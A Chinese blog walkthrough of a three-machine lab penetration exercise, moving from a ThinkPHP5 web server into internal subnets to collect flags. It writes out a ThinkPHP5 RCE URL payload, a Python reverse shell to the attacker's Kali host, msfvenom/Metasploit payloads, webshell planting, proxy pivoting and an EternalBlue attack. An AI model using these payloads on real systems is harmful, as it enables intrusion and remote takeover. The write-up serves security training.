从web到内网渗透的一次过程详解

目录
  • 记一次从web到内网的渗透
    • 拓扑图
    • 环境介绍
    • 渗透过程
      • target1
      • target2
      • taget3

记一次从web到内网的渗透

拓扑图

环境介绍

现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限

渗透过程

target1

使用nmap进行扫描

可以看到开启了80端口
浏览器访问目标靶机80端口

可以看到就是apache的默认页面
使用dirb进行目录结构扫描

发现public页面

可以看到是thinkphp5搭建的网站,thinkphp5曾经爆过一个远程代码执行的漏洞,直接上网站寻找payload验证是否存在漏洞

http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

可以看到确实存在漏洞,现在可以向网站里面写入一句话木马,然后用蚁剑去连接,这是一种方法,但是也可以直接去尝试反弹一个shell到kali上

kali上执行:nc -lvvp 4444
浏览器中执行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);

可以看到kali这边成功反弹到了一个shell

使用python生成一个交互式的shell

查找一下flag

成功获得第一个flag
使用msfvenom生成一个反向的shellcode

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf

使用python开启一个临时http服务

靶机下载该shellcode

然后kali打开msf,进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit

然后靶机上给予shellcode执行的权限后执行该文件

可以看到kali这边成功返回一个meterpreter

查看一下网络配置

可以看到target1还存在一个网段
添加路由表

配置socks代理

use auxiliary/server/socks_proxy
exploit

配置proxychains代理链

vim /etc/proxychains4.conf

target2

扫描10.1.1.0/24这个网段是否还存在其他机器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit

可以看到该网段还存在一台机器为10.1.1.150
使用nmap扫描10.1.1.150开放端口

proxychains4 nmap -Pn -sT 10.1.1.150

可以看到也开放了80端口
这里直接用浏览器去访问10.1.1.150的80端口显然是不行的,不过火狐浏览器也是支持socks代理的

再次访问网站

查看robots.txt文件

找到后台登入位置

直接使用弱密码admin:admin登入成功

成功获得第二个flag,找到模板位置,发现里面的源码都是可以编辑的

写入一句话木马

然后使用蚁剑去连接,当然直接去连接肯定也是不行的,不过蚁剑也是支持代理设置的

之后再正常去连接就行了,但是我这里不知道是环境问题还是蚁剑的问题,正常来说这里是肯定能连接成功的,我试了很多遍都没有成功,然后想着直接把那个页面里面的源码直接换为大马,也是不行的,因为一般大马都是经过作者编译过了,直接复制过去肯定会有问题,最后只能直接将大马事先准备在了网站根目录下面,这里主要是为了体现内网渗透,所以这里也不细说
访问大马

使用msfvenom生成一个正向连接的shellcode

msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe

然后通过大马将shellcode上传到目标服务器

然后再次进入之前打开的msf

然后在大马上执行上传的shellcode

可以看到kali这边成功返回了一个meterpreter

查看网络配置

可以看到还有一个网段10.1.2.0/24
将路由添加到路由表

run post/multi/manage/autoroute

taget3

扫描10.1.2.0/24网段是否还存在其他机器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit

这里扫描实在太慢,这个网段还有一个机器IP为10.1.2.250
然后再添加一层socks代理

use auxiliary/server/socks_proxy
set srvport 2222
exploit

配置proxychains代理链

vim /etc/proxychains4.conf

使用nmap进行端口扫描

proxychains4 nmap -Pn -sT 10.1.2.250

根据扫描结果判断操作系统为windows
再使用nmap的漏扫脚本进行扫描

proxychains4 nmap --script=vuln 10.1.2.250

可以看到存在ms17-010,直接上msf寻找攻击模块

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit

查找一下flag

三台主机的权限全部那先,所有flag查找完毕,至此,渗透结束

以上就是从web到内网渗透的一次过程详解的详细内容,更多关于web到内网渗透过程的资料请关注我们其它相关文章!

(0)

相关推荐

  • Nodejs实现内网穿透服务

    也许你很难从网上找到一篇从代码层面讲解内网穿透的文章,我曾搜过,未果,遂成此文. 1. 局域网内代理 我们先来回顾上篇,如何实现一个局域网内的服务代理?因为这个非常简单,所以,直接上代码. const net = require('net') const proxy = net.createServer(socket => { const localServe = new net.Socket() localServe.connect(5502, '192.168.31.130') // 局域网

  • 内网渗透-----如何打开突破口

    内网渗透的思想是源于特洛伊木马的思想---堡垒最容易从内部攻破,一个大型的网站,一个大型的公司,一个大型的目标,在外肉,管理员总会千方百计的加强防范和修补漏洞,常规的方法进去几乎是不可能. 内网渗透的突破口是我们如何得到一个内网的个人机或是内网的服务器,我个人的经验有三种,一是从外网分站渗透到内网,二是发木马信得到内网机器,三是利用取得信任得到内网机器. 一.从外网分站渗透到内网   通常一个大的站点都有很多分站,有很多我们未知的分站或是未知的站点目录,越大的站点展现在我们面前的机会就越多,可以

  • C# Web应用调试开启外部访问步骤解析

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 设置内网访问 设置外网访问 1. 设置内网访问 在设置之前,本机环境如下: 操作系统:win7 IDE:Visual Studio 2010 应用:ASP.net 想要实现局域网内其他机器访问本机web应用包含以下4步: 第一步:设置启动方式为IIS Express Visual Studio 运行Web应用时,默认采用自身的

  • 从web到内网渗透的一次过程详解

    目录 记一次从web到内网的渗透 拓扑图 环境介绍 渗透过程 target1 target2 taget3 记一次从web到内网的渗透 拓扑图 环境介绍 现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限 渗透过程 target1 使用nmap进行扫描 可以看到开启了80端口 浏览器访问目标靶机80端口 可以看到就是apache的默认页面

  • 教你安装eclipse2021并配置内网maven中心仓库的图文详解

    下载Eclipse2021并运行安装包,选择Eclipse IDE for Java Developers 默认安装路径 ,点击 INSTALL进行安装 安装 中... 安装完成,点击LAUNCH启动Eclipse2021 选择默认工作空间  启 动并加载插件中... 成功启动并显示IDE界面 下面是内网Maven仓库 登陆内网仓库 并复制中心仓库地址: 添加maven路径 添加前提是你先安装好maven,这里安装的是maven 3.8.1 点击Finish完成添加 添加成功后会显示如下 添加m

  • 内网环境下registry搭建步骤详解

    目录 背景 docker环境 配置http可访问 重新加载docker 启动registry 启动registry-web 背景 在实际的开发运维过程中,经常需要使用镜像仓库的情况,虽然阿里云.腾讯云等都提供了带有免费额度的镜像仓库服务,但是由于账号等问题,我们还是需要自己搭建一个镜像仓库服务,供内网环境下使用. 大致的步骤: 准备docker环境 配置非http访问( Insecure Registries) 重新家在docker 启动registry 启动registry-web docke

  • NPM配置私服构建内网中央仓库过程详解

    目录 写在前面 1. 概述 2. 部署nexus 3. 几个概念 3.1 代理 3.2 本地包 3.3 包分组 4. 配置NPM包 4.1 配置本地包 4.2 配置代理 4.3 配置包分组 4.4 配置好后我们就可以进行发布和下载 4.5 遇到的问题 4.5.1 在登录的时候遇到的问题 4.5.2 登录报错 写在前面 目前大部分的项目,基本上都采用了前后端分离的框架.随着项目的不断做大做强,框架就会变得很庞大. 那么前端的框架,也是会变得不断的臃肿.不同的模块项目前端,可能有些公共的方法,都是共

  • 分布式监控系统之Zabbix主动、被动及web监控的过程详解

    前文我们了解了zabbix的网络发现功能,以及结合action实现自动发现主机并将主机添加到zabbix hosts中,链接指定模板进行监控:回顾请参考https://www.jb51.net/article/200678.htm:今天我们来了解下zabbix的主动监控.被动监控以及web监控相关话题: 1.什么是主动监控?什么是被动监控? 我们知道获取数据的方式有两种,一种是get,一种是push:在zabbix中描述主动监控和被动监控都是站在agent的一方来描述的:我们把agent主动将数

  • Spring Boot启动过程(五)之Springboot内嵌Tomcat对象的start教程详解

    标题和Spring Boot启动过程(四)之Spring Boot内嵌Tomcat启动很像,所以特别强调一下,这个是Tomcat对象的. 从TomcatEmbeddedServletContainer的this.tomcat.start()开始,主要是利用LifecycleBase对这一套容器(engine,host,context及wrapper)进行启动并发布诸如configure_start.before_init.after_start的lifecycleEvent事件给相应的监听器(如

  • JS内置对象和Math对象知识点详解

    Math对象 <script> // Math数学对象 不是一个构造函数 ,所以我们不需要new 来调用 而是直接使用里面的属性和方法即可 console.log(Math.PI); // 一个属性 圆周率 console.log(Math.max(1, 99, 3)); // 99 console.log(Math.max(-1, -10)); // -1 console.log(Math.max(1, 99, 'pink老师')); // NaN console.log(Math.max(

  • Python内建属性getattribute拦截器使用详解

    目录 引言 1.内建属性__getattribute__的用法 2.重写__getattribute__实现属性拦截功能 总结要点: 引言 因为python中所有类默认继承object类. 而object类提供了了很多原始的内建属性和方法,所以用户自定义的类在Python中也会继承这些内建属性. 可以使用dir()函数可以查看,虽然python提供了很多内建属性但实际开发中常用的不多.而很多系统提供的内建属性实际开发中用户都需要重写后才会使用. 对于python来说,属性或者函数都可以被理解成一

  • pytest内置fixture使用临时目录流程详解

    目录 前言 tmpdir tmpdir_factory tmp_path tmp_path_factory 指定临时目录 前言 本篇来学习pytest中内置fixture中临时目录的使用 tmpdir tmpdir作用范围是函数级别,创建临时文件供单个测试点调用 # -*- coding: utf-8 -*- import os def test_tmpdir(tmpdir): """内置tmpdir fixture使用""" # 创建临时文件

随机推荐